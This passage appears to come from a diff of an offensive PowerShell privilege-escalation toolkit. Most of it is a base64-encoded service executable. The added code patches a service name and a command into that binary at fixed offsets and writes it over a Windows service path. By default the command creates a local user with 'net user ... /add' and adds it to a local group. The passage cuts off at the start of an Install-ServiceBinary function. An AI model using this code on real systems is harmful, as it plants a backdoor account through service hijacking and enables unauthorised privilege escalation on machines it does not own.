AAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAAA9jAG0AZAAuAGUAeABlAABwlQEkfW6TS5S/gwmLKZ5MAAiwP19/EdUKOgi3elxWGTTgiQMGEg0EIAEBAgMgAAEFIAEBHQ4DAAABBCABAQ4FIAEBEUkEIAEBCAMgAA4GAAISYQ4OBAABAQgDBwEOBgABAR0SBQgHAh0SBR0SBQwBAAdVcGRhdGVyAAAFAQAAAAAXAQASQ29weXJpZ2h0IMKpICAyMDE1AAApAQAkN2NhMWIzMmEtOWMzN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" + [Byte[]] $Binary = [Byte[]][Convert]::FromBase64String($B64Binary) + } + + process { + if(-not $Command) { + if($UserName.Contains("\")) { + # adding a domain user to the local group, no creation + $Command = "net localgroup $LocalGroup $UserName /add" + } + else { + # creating a local user and adding to the local group + $Command = "net user $UserName $Password /add && timeout /t 2 && net localgroup $LocalGroup $UserName /add" + } + } + + # get the unicode byte conversions of all arguments + $Enc = [System.Text.Encoding]::Unicode + $ServiceNameBytes = $Enc.GetBytes($ServiceName) + $CommandBytes = $Enc.GetBytes($Command) + + # patch all values in to their appropriate locations + for ($i=0; $i -lt ($ServiceNameBytes.Length); $i++) { + # service name offset = 2458 + $Binary[$i+2458] = $ServiceNameBytes[$i] + } + for ($i=0; $i -lt ($CommandBytes.Length); $i++) { + # cmd offset = 2535 + $Binary[$i+2535] = $CommandBytes[$i] + } + + try { + Set-Content -Value $Binary -Encoding Byte -Path $ServicePath -Force + } + catch { + $Msg = "Error while writing to location '$ServicePath': $_" + Write-Warning $Msg + $Command = $Msg + } + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'ServiceName' $ServiceName + $Out | Add-Member Noteproperty 'ServicePath' $ServicePath + $Out | Add-Member Noteproperty 'Command' $Command + $Out + } +} + + +function Install-ServiceBinary { +<# + .SYNOPSIS + + Users Write-ServiceBinary to write a C# service that creates a local UserName + and 